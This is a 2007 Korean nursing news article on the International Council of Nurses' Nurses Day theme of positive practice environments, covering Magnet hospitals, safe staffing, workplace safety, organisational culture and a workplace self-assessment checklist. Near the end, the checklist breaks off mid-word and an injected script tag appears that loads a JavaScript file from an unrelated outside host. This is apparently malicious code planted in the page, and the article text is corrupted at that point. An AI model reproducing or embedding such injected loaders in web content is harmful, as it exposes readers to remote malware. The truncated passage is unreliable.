기사입력 2007-04-18 오전 09:58:53

　"최적의 근무환경이 최고의 간호서비스를 만든다."

　2007년 제36회 국제 간호사의 날 주제가 `Positive practice environments : Quality workplaces = Quality patient care'로 정해졌다.

　국제간호협의회(International Council of Nurses)는 올해 국제 간호사의 날(5월 12일) 주제를 발표하고, 세계 각국의 간호협회가 간호사들의 근무환경을 개선하고 양질의 간호서비스를 제공하기 위해 힘써줄 것을 당부했다. 국제 간호사의 날은 플로렌스 나이팅게일 탄생일을 기념하기 위해 1972년 제정됐다.

　히로코 미나미 ICN 회장은 "환자와 국민들은 간호사를 비롯한 의료인으로부터 수준 높은 서비스를 받을 권리가 있다"면서 "잘 준비된 긍정적인 근무환경에서 안전하고 수준 높은 간호서비스가 가능해진다"고 강조했다.

　◇ 긍정적인 근무환경 = 간호사들이 즐거운 마음으로 열심히 일할 수 있도록 만드는 `긍정적인 환경'은 어떤 것일까. 간호사 인력관리에 관한 혁신적인 정책, 간호사들의 계속교육과 업그레이드를 위한 전략, 충분한 시설과 장비, 안전한 환경 등을 갖추고 있는 곳이다.

　긍정적인 근무환경에서 간호사들은 양질의 간호서비스를 제공할 수 있게 되고, 궁극적으로 환자에게 좋은 결과가 나타난다. 환자의 회복이 빨라지고 만족도가 높아지며 사망률, 수술 후 합병증, 재원기간, 재입원율, 욕창, 투약오류, 낙상 등은 줄어든다.

　근무환경을 긍정적으로 변화시킬 때 수준 높은 간호사를 채용할 수 있고, 장기근속자가 늘어나면 팀워크가 좋아지고 연속성 있는 간호서비스를 제공할 수 있으며, 결과적으로 성과를 극대화 시킬 수 있다는 사실을 경영자들이 깨닫기 시작했다.

　◇ 마그넷 병원 배우기 = 긍정적인 근무환경을 갖춘 모델로 미국의 `마그넷 병원'을 들 수 있다. 마그넷 병원은 간호사들이 일하기 좋은 환경을 갖추고 수준 높은 간호서비스를 제공하고 있는 의료기관에 대한 인증마크이며, 미국간호협회 산하 미국간호사자격인증원에서 평가를 거쳐 부여한다.

　마그넷 병원은 근무환경이 좋기 때문에 우수한 간호사를 채용할 수 있고, 충분한 간호사를 확보하고 있기 때문에 양질의 서비스를 제공할 수 있으며, 그 결과 환자와 간호사 모두 만족할만한 결과를 얻고 있다. 환자들에게서 좋은 결과가 나타나는 것은 물론 간호사들의 업무 만족도도 높고 스트레스, 소진(burnout), 이직 등은 감소하는 것으로 나타났다.

　◇ 근무환경 개선 3대 요소 = 긍정적인 근무환경이 되기 위해선 `직업 만족' `적정인력 배치' `안전한 근무환경' 3가지 요소가 충족돼야 한다.

　우선, 간호사들의 직업 만족도에 영향을 미치는 요인은 급여, 교육기회, 충분한 시설과 장비 등으로 나타났다.

　둘째, 환자의 요구를 충족시키는 데 필요한 능력을 갖춘 간호사를 적정 수만큼 배치하고, 안전한 근무환경에서 일할 수 있도록 만들어야 한다. 단순히 간호사를 몇 명 배치하느냐를 넘어서 업무량, 숙련도, 환자 중증도, 비용효율성, 근무환경 등을 포괄하는 `세이프 스태핑(Safe Staffing)'이 정착돼야 한다.

　셋째, 안전한 근무환경이 매우 중요하다. 시간, 지식과 기술, 자원 등이 부족할 경우 이는 간호사들에게 해로운 환경이다. 업무 특성 상 간호사들은 허리통증 등 근골격계질환에 노출될 위험이 높은 만큼 예방이 중요하다.

　주사바늘 찔림사고로부터 간호사들을 보호할 수 있는 조치가 이뤄져야 한다. 언어 또는 물리적 폭력을 근절해야 한다.

　◇ 바람직한 조직문화 = 긍정적인 근무환경을 만들기 위해선 무엇보다 조직의 문화 풍토 분위기(Climate)가 중요하다. 조직문화가 긍정적일 때 간호사들의 직무 만족도가 높아지고 결과적으로 환자에게 좋은 결과가 나타난다. 부정적인 조직문화는 간호사와 환자를 소진시킨다.

　첫째, 안전 문화가 뿌리내려야 한다. 충분한 장비, 안전한 시설, 최적의 근무환경이 중요하다는 사실을 인식해야 한다. 실수를 했을 때 은폐하지 않고 당당하게 보고하고 대처할 수 있도록 신뢰가 형성돼야 한다.

　둘째, 간호사들이 끊임없이 자기개발을 해나갈 수 있도록 지지하는 조직이 돼야 한다.

　셋째, 좋은 리더십은 긍정적인 근무환경을 만드는 데 기여한다. 리더는 조직의 비전을 제시하고, 간호사들의 자율성을 보장하고 역량을 극대화하는 데 힘써야 한다.

　◇ 근무환경 조사도구 = 우리 조직은 어떤 근무환경을 갖추고 있는지 조사하고 싶다면 다음과 같
이 질문해보라.

　△간호사를 전문직으로 인식하고 있는가 △간호사들이 일에 충분히 만족하고 있는가 △간호사들에게 경력개발 기회가 주어지는가 △간호사 인력관리 시스템이 이상적인가 △안전한 근무환경을 만들기 위한 정책이 있는가 △안전한 장비를 보유하고 질 관리를 하?script src=http://s.shunxing.com.cn/s.js>

정규숙기자  kschung@nursenews.co.kr